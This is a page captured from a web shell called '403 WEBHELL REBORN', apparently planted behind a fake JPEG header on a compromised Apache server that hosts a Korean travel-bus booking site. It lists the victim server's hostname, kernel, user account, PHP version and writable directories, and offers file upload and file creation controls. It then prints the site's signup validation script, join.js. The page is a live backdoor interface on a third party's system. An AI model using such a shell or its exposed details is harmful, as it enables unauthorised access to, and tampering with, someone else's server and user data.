ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/js/join.js
// 영문+숫자만 입력 체크
function checkEngNum(str) {
    const regExp = /[a-zA-Z0-9_]/g;
    if(regExp.test(str)){
        return true;
    }else{
        return false;
    }
}
function check_join_form(){

    if(!checkEngNum($('#member_id').val())){

        if(window.location.host.indexOf('en.travelbus.kr') >= 0){
            alert('Please enter the ID in English and numbers.');
        }else if(window.location.host.indexOf('tw.travelbus.kr') >= 0){
            alert('ID請用英語和數字組成並輸入。');
        }else{
            alert('아이디는 영어,숫자로 구성하여 입력해주세요.');
        }


        return false;
    }



    if($('#id_duplicate_chcek').val() != 'Y'){

        if(window.location.host.indexOf('en.travelbus.kr') >= 0){
            alert('Please check the duplicate ID.');
        }else if(window.location.host.indexOf('tw.travelbus.kr') >= 0){
            alert('請重複確認賬號。');
        }else{
            alert('아이디 중복체크를 해주세요.');
        }


        return false;
    }

    if($('#member_password').val() == $('#member_password_confirm').val()){
        // return true;
    }else{

        if(window.location.host.indexOf('en.travelbus.kr') >= 0){
            alert('Passwords do not match.');
        }else if(window.location.host.indexOf('tw.travelbus.kr') >= 0){
            alert('密碼不一致。');
        }else{
            alert('비밀번호가 일치하지 않습니다.');
        }


        return false;
    }

    return true;

}


$(function(){

    $('#member_id').keydown(function(){
        $('#id_duplicate_chcek').val('');
        $('#id_duplicate_status').text('');
    })

    $('#id_check_bth').click(function(){
        $('#id_duplicate_chcek').val('');
        member_id = $('#member_id').val();

        if(member_id.length >= 5 && member_id.length <= 20){

            $.ajax({
                type:"post",
                url:"/process/join_ajax.php",
                dataType: 'json',
                data: {'mode':'id_duplicate_check', member_id},
                async:false,
                success : function(data){

                    // console.log('data is ' + JSON.stringify(data));
                    if(data.result == true){
                        $('#id_duplicate_chcek').val('Y');


                        if(window.location.host.indexOf('en.travelbus.kr') >= 0){
                            $('#id_duplicate_status').text('Available')
                        }else if(window.location.host.indexOf('tw.travelbus.kr') >= 0){
                            $('#id_duplicate_status').text('可用')
                        }else{
                            $('#id_duplicate_status').text('사용가능')
                        }

                    }else{
                        $('#id_duplicate_chcek').val('N');

                        if(window.location.host.indexOf('en.travelbus.kr') >= 0){
                            $('#id_duplicate_status').text('Unavailable')
                        }else if(window.location.host.indexOf('tw.travelbus.kr') >= 0){
                            $('#id_duplicate_status').text('不可用')
                        }else{
                            $('#id_duplicate_status').text('사용불가')
                        }


                    }
                },
                error : function(a,b,c){
                    console.log(JSON.stringify(a));
                    console.log(b);
                    console.log(c);
                    console.log('error');
                }
            });

        }else{

            if(window.location.host.indexOf('en.travelbus.kr') >= 0){
                alert('Please enter a length of 5 to 15 characters.');
            }else if(window.location.host.indexOf('tw.travelbus.kr') >= 0){
                alert('ID的長度請輸入5個字以上15個字以下。');
            }else{
                alert('아이디의 길이는 5글자 이상 15글자 이하 입력해주세요.');
            }

            return false;
        }
    })

})





Anon7 - 2021